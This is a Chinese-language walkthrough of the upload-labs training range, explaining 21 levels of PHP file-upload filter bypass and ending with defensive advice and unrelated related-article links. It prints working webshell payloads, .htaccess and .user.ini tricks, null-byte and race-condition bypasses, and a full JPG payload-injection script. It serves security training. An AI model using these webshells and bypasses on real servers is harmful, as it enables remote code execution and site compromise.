upload-labs

从经典靶场入手,看文件上传发展经历

下载

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。

下载地址:https://github.com/c0ny1/upload-labs/releases

在 win 环境下 直接解压到phpstudy下即可

绕过方式

从以下练习中提炼出文件上传的绕过方式

  1. 上传文件类型不收限制

  2. 前端Javascript校验 - Burp抓包改包绕过

  3. 利用缺陷的文件上传验证

    1. 文件类型验证缺陷 - 通过不常见的后缀绕过 比如:php3,php5等等
    2. 上传目录限制文件类型 - 尝试利用目录遍历将文件上传到其他目录
    3. 后缀限制 - 通过.htaccess 欺骗服务器扩展任意自定义文件后缀到已知的MIME类型;利用.user.ini 包含jpg文件到任意已存在php文件中
    4. 黑名单限制 - 利用后端解析差异
      1. ., 空格::$DATA
      2. Apache 解析漏洞,Nginx解析漏洞,IIS解析漏洞
      3. 对上传 . / 进行二次编码,适合验证文件名扩展没有解码,服务端被解码
      4. 利用 ;,%00绕过PHP,Java 高级语言编写,服务器使用 C/C++低级函数处理文件差异
  4. 黑名单过滤后缀 - 通过双写绕过

  5. 文件内容检查 - 通过添加允许文件头格式绕过

  6. 通过条件竞争实现文件上传

练习

靶场练习主要针对后端检查绕过,从黑白名单,后端检查的内容和代码逻辑几个方面提出不同的绕过方式

有些绕过方式较为久远,我就简单介绍,其他可以在现阶段使用的上传手法给予较多的关注

Pass-1 Javascript 前端检查

一般 都是通过 JS 限制上传的文件类型,对于这种情况,我们可以采用以下几种方式绕过

  • 修改JS文件
  • 上传png后缀的webshell,代理抓包,修改上传的文件后缀 (推荐)
  • 禁用js

靶场实战

  1. 上传webshell.png 文件内容为:<?php @system($_GET['cmd']); ?>
  2. burp 抓包 ,修改文件名为ceshi.php
  3. 成功上传后,找到上传图片的位置,访问 GET /xxx/ceshi.php?cmd=whoami

burp 修改上传文件名的位置

获取到图片位置,通过GET方式传入 cmd 参数来获取执行系统命令

Pass-2 文件类型检查有缺陷

对文件类型检查有缺陷-检查Content-Type标头是否与MIME 类型匹配。

绕过方式:

  1. 上传 webshell.php 内容为:<?php @system($_GET['cmd']); ?>
  2. 抓包 修改上传的Content-Type 类型为允许的类型 image/jpeg
  3. 放包,收到成功上传
  4. 复制文件上传的路径,请求 GET /upload/upload/webshell.php?cmd=whoami

Pass-3 黑名单限制不完全

对于黑名单限制上传文件后缀的 可以通过以下几种方式绕过

  1. 通过使用可被执行但不常见的后缀名,比如 php5,shtml等等
  2. 上传恶意的配置文件(Apache .htaccess) 欺骗服务器将任意自定义文件扩展名映射到可知执行的MIME类型
  3. 利用后端解析差异绕过限制
    1. 添加尾随字符,一些组件会去除或忽略尾随空格、点等:exploit.php. /exploit.php+空格
    2. 对点,斜杠 使用URL 编码, 如果验证文件扩展名时没有解码,在服务端被解码,绕过黑名单限制, exploit%2Ephp
    3. 在文件扩展名前添加分号或 URL 编码的空字节字符。如果验证是用 PHP 或 Java 等高级语言编写的,但服务器使用 C/C++ 中的低级函数处理文件,例如,这可能会导致文件名结尾出现差异:exploit.asp;.jpg或exploit.asp%00.jpg

靶机实战

  1. 上传 webshell.php3 内容为:<?php @system($_GET['cmd']); ?>
  2. 复制文件上传的路径,请求 GET /upload/upload/20200304.php5?cmd=whoami

Pass-4 .htaccess 扩展后缀名

测试上传的后缀, php1 php2 php3 都不行,后缀被限制了,尝试上传 .htaccess 添加扩展后缀

  1. 上传 .htaccess 内容为:AddType application/x-httpd-php .l33t

  2. 上传 webshell.l33t 内容为:<?php @system($_GET['cmd']); ?>

  3. 访问文件,执行webshell

Pass-5 .user.ini

本关在上传目录下存在readme.php的php文件,可以利用 .user.ini 文件 使得运行 readme.php 时 包含上传的图片,相当于readme.php也有webshell.php。

user.ini

auto_prepend_file=web.jpg

web.jpg

<?php @eval($_GET['cmd']) ?>

Pass-6 大小写绕过

 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);

服务器端检查后缀时忽略了对大小写的检测,故可以通过大写后缀绕过

Pass-7 黑名单限制不完全- 空格

    if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5"," .......,".ini");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

后端检测没有去掉首尾空格,于是上传 shell.php+空格

Pass-8 黑名单限制不完全 - 点

源码中没有过滤 .

上传时文件名为webshell.php.,绕过对后缀的检查

Pass-9 黑名单限制不完全 - ::$DATA

源码中未对 ::$DATA 过滤

在window的时候如果文件名+"::DATA"会把::DATA"会把::DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

例如:“webshell.php::DATA"Windows会自动去掉末尾的::DATA"Windows会自动去掉末尾的::DATA"Windows会自动去掉末尾的::DATA变成"webshell.php”

上传 webshell.php::$DATA

服务端会创建对应的php文件

Pass-10 黑名单限制不完全 - 过滤不全

        $file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空

使用 deldot() 删除文件名末尾的点

deldot() 函数从末尾向前检测,检测到第一个点后,会继续向前检测,但遇到空格会停下来

可以构造文件名: webshell.php. . 绕过检测

Pass-11 黑名单限制不完全 - 双写绕过

$deny_ext = array("......");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;

源码中 使用 str_ireplace 不区分大小写替换,只是替换了一次,我们可以利用双写绕过检查

上传文件名 :webshell.p.phphp

上传时会被删除 .php

最后的上传文件名: webshell.php

Pass-12 上传路径可控

条件: php版本 < 5.3.4 ; magic_quotes_gpc=Off

strrpos(string,find,start) 函数查找字符串在另一字符串中最后一次出 现的位置(区分大小写)。

substr(string,start,length) 函数返回字符串的一部分**(从start开始 ,长度为 length)*

$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

源码中对后缀进行白名单检测,只允许 jpg ,png,gif

但上传的路径可控,这里可以使用 %00截断

  1. 上传webshell.jpg的一句话木马
  2. save_path=../upload/webshell.php%00
  3. 成功上传后,%00后的不会被识别

Pass-13 上传路径可控2

    $ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

路径可控位置在POST 数据中

burphex 请求数据中,修改php后的字节为00,

POST 不会对数据自动解码,所以修改HEX 中内容

Pass-14 文件内容检测

源码读取前2个字节判断上传文件的类型,判断通过后,便重新给文件赋予新的后缀名

在这一关,除了上传,还存在一个 include.php文件,存在文件包含漏洞,可以利用文件包含漏洞请求上传的文件

构造:include.php?file=upload/shell.jpg ,include 会以本文的形式读取shell.jpg的内容,这样存在于shell.jpg里的一句话木马就可以执行

图片文件头格式:

文件头部格式:https://blog.csdn.net/xiangshangbashaonian/article/details/80156865

PNG文件头: 89 50 4E 47 0D 0A 1A 0A

JPG文件头: FF D8 FF

GIF (gif)文件头:47494638

Pass-15 文件内容检测

image_type_to_extension 根据指定的图像类型返回对应的后缀名

和Pass-14 做法一致

Pass-16 文件内容检测

exif_imagetype() 判断一个图像的类型,读取一个图像的第一个字节并检查其签名。

本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 [$_SERVER’HTTP_ACCEPT’] 结合使用来检查浏览器是否可以显示某个指定的图像。

需要开启 php_exif模块

做法和Pass-14 一致

Pass-17 二次渲染

上传的图片和上传后的图片大小不一致,断定这里存在图片二次渲染

绕过方法:测试图片的渲染后没有修改的位置,将一句话木马添加进去,这样就可以利用文件包含去执行php一句话木马了

对于GIF 的上传,只需要判断没有修改的位置,然后将php一句话木马添加即可

对于PNG的上传,需要修改PLTE数据块或者修改IDAT数据块,

这里可以利用别人写好的脚本,将php一句话 <?=$_GET[0]($_POST[1])?>,一句话利用了php短开标签

另一个要注意的点,0 这里不用使用eval,eval是一个语言构造器,而不是一个函数,不能被可变函数调用;

对于JPG 的上传

命令: php jpg_paload.php 1.jpg

1.jpg 为正常的图片,执行后得到新的payload_1.jpg 为添加php一句话木马后的

    <?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = "<?=phpinfo();?>";if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}?>

另一个方式:

move_uploaded_file($tmpname,$target_path)返回true的时候,就已经成功将图片马上传到服务器了,

所以我们可以利用这个上传的间隙去执行php文件,实现绕过。

Pass-18 条件竞争

if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);

源码中的逻辑:这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell。

条件竞争漏洞:由于服务器端在处理不同的请求时是并发进行的,因此如果并发处理不当或相关操作顺序设计的不合理时,将会导致此类问题的发生

触发:

将上传页面和文件包含触发漏洞页面发送到Burp的intruder,然后payload设置为null,即可触发条件竞争漏洞

Pass-19 条件竞争漏洞

对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,从而上传成功

在这一关要注意上传后的文件名:uploadxxx.jpg

成功上传还没重命名的,通过include.php实现包含

Pass-20 文件名可控

save_name 可控,可以通过 .,空格,00截断绕过对后缀的判断,

Pass-21多个条件绕过

if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";

源码逻辑:

  1. 检查MIME (通过抓包改Content-Type 绕过)
  2. 判断 POST参数 save_name 是否为空,
  3. 判断$file 是否为数组,不是数组以 .分割化为数组
  4. 取 $file 最后一个元素,作为文件后缀进行检查
  5. 取 file第一位和第‘file 第一位和第`file第一位和第‘file[count($file) - 1]`作为文件名和后缀名保存文件

故:

上传 webshell.php, 修改save_name 为数组 绕过对file的切割,最后file 的切割,最后file的切割,最后file 最后一个元素是 save_name[2] = jpg 绕过后缀检测 , 然后reset($file) = webshell.php

$file[1] 没有定义为空,count($file) 的值为$file[count($file) - 1] = $file[1]

所以最后上传的文件为webshell.php

文件上传总结

允许用户上传文件是司空见惯的事,只要您采取正确的预防措施,就不一定会有危险。一般来说,保护您自己的网站免受这些漏洞影响的最有效方法是实施以下所有做法:

  • 根据允许扩展名的白名单而不是禁止扩展名的黑名单检查文件扩展名
  • 确保文件名不包含任何可能被解释为目录或遍历序列 ( …/) 的子字符串。
  • 重命名上传的文件以避免可能导致现有文件被覆盖的冲突。
  • 在完全验证之前不要将文件上传到服务器的永久文件系统。
  • 尽可能使用已建立的框架来预处理文件上传,而不是尝试编写自己的验证机制。

文章首发于个人微信公众号:石头安全

upload-labs 全21关 write-up相关推荐

  1. 计算机游戏50关,YELLOW游戏全50关攻略

    yellow游戏是一款比较休闲的游戏作品,这款游戏中需要通过变换将屏幕全部调整成黄色,虽然操作不难,但比较考验思维能力,下面是全50关通关攻略,大家可以参考参考. [注:以下为攻略,不想看的不用点开] ...

  2. upload-labs 全1-21关 附详细解析(文件上传漏洞)

    目录 注释:分析在每关开头. 第 1 关 第 2 关 第 3 关 第 4 关​​​ 第 5 关 第 6 关​​​ 第 7 关 第 8 关 第 9 关​ 第 10 关 第 11 关 ​第 12 关 第 ...

  3. 信息安全文件上传漏洞upload-labs第21关详解

    正文部分分为两部分:1.过关流程,2.流程分析 本关涉及知识点: 1.一定的代码审计能力 2.数组验证 3.文件名/.上传绕过(例如a.php/.上传到目录后就变成了a.php,这是由于文件名无法识别 ...

  4. upload-labs--wp(21关)

    文章目录 第一题 第二题 第三题 第四题 第五题 第六题 第七题 第八题 第九题 第十题 第十一题 第十二题 第十三题 第十四题 第十五题 第十六题 第十七题 第十八题 第十九题 第二十题 第二一关 ...

  5. 文件上传漏洞 (上传知识点、题型总结大全-upload靶场全解)

    文件上传漏洞 什么是文件上传漏洞 什么是webshell 一句话木马大全 产生文件上传漏洞的原因 文件上传漏洞的攻击与防御方式 1.前端限制 2.检查扩展名 1.黑名单策略, 2.白名单策略 3.检查 ...

  6. Upload labs

    Pass -01(js检查) 题目基于前端js过滤,只能上传图片格式的文件,所以我们用一句话木马,改后缀上传后,用burp抓包,修改文件后缀为php,然后用蚁剑连接, 注意: 文件没有上传在具体题目中 ...

  7. (白帽子学习笔记)前渗透——文件上传upload labs

    读者需知 1.本文仅供学习使用,由于传播和利用此文所造成的损失均由使用者本人负责,文章作者不为此承担责任 2.本文参考了一些文章,如有侵权请联系本人删除 第一关--前端验证 1.将浏览器中的JS代码禁 ...

  8. Upload LABS Pass-11

    第十一关在服务端使用了白名单 , 但文件保存路径外漏 , 可以使用00截断 准备一个 11.php 文件 , 内容为一句话木马 <?php eval($_POST[-7]);?> 上传 1 ...

  9. Upload LABS Pass-10

    第十关在后端使用了黑名单 , 将匹配到的后缀名替换为空,使文件不能使用 , 但其只过滤了一遍 , 我们可以使用双写后缀名的方式绕过黑名单 准备一个 10.pphphp 文件 , 内容为一句话木马 &l ...

  10. Upload LABS Pass-9

    第九关在后端使用了黑名单,并过滤了大小写,空格,点以及数据流 , 但未对文件重命名并且只过滤了一遍点和空格 , 我们在文件后缀名添加 点空格点 , 来绕过黑名单 准备一个 9.php 文件 , 内容为 ...

最新文章

  1. 读《杜拉拉升职记》有感
  2. 框架开发中的junit单元测试
  3. JAVA工程师面试题库
  4. 力扣: 231. 2的幂 【位运算】
  5. Android MVVM封装,MVVMFramework
  6. 已通过os信号请求关闭服务器,redis(一)内部机制的介绍和启动过程
  7. 颜宁:批评一下当年的「颜宁同学」
  8. oracle 减少回表,減少oracle sql回表次數 提高SQL查詢性能 | 學步園
  9. html怎么遍历数组,js遍历数组有多少种方法
  10. 2021年,小傅哥の年终总结
  11. 微软拼音 输入法 个人 偏好设置
  12. python列表创建操作_python列表操作
  13. 如何使用python批量压缩图片_使用python脚本批量压缩图片大小
  14. 华为的全闪存存储之路
  15. 【java基础,IO合集】文件流、高级流(缓冲流、对象流)、 序列化接口java.io.Serrializable
  16. 软件工程毕业设计选题大全 毕设题目推荐
  17. Atracsys FusionTrack 500 光学测量系统
  18. Linux系统 Shell脚本语言
  19. leafnotification_Notification Service
  20. 压缩/解压(ICSharpCode.SharpZipLib 类库)

热门文章

  1. 快递柜智能柜C语言程序,智能快递柜的设计与实现_李浩然.pdf
  2. 基于深度学习的Image Inpainting (图像修复)论文整理与概述
  3. 37.WLAN Qos介绍
  4. win7副本不是正版_为什么有人愿意放弃win10,重装成盗版的win7呢原因有三点!...
  5. 基于STM32的卧室智慧监测系统
  6. 【全面恢复受损的Word文档】
  7. Counter对numpy数组进行统计
  8. win10添加新硬盘
  9. Nginx中传输带宽限制
  10. TIdTCPClient 详解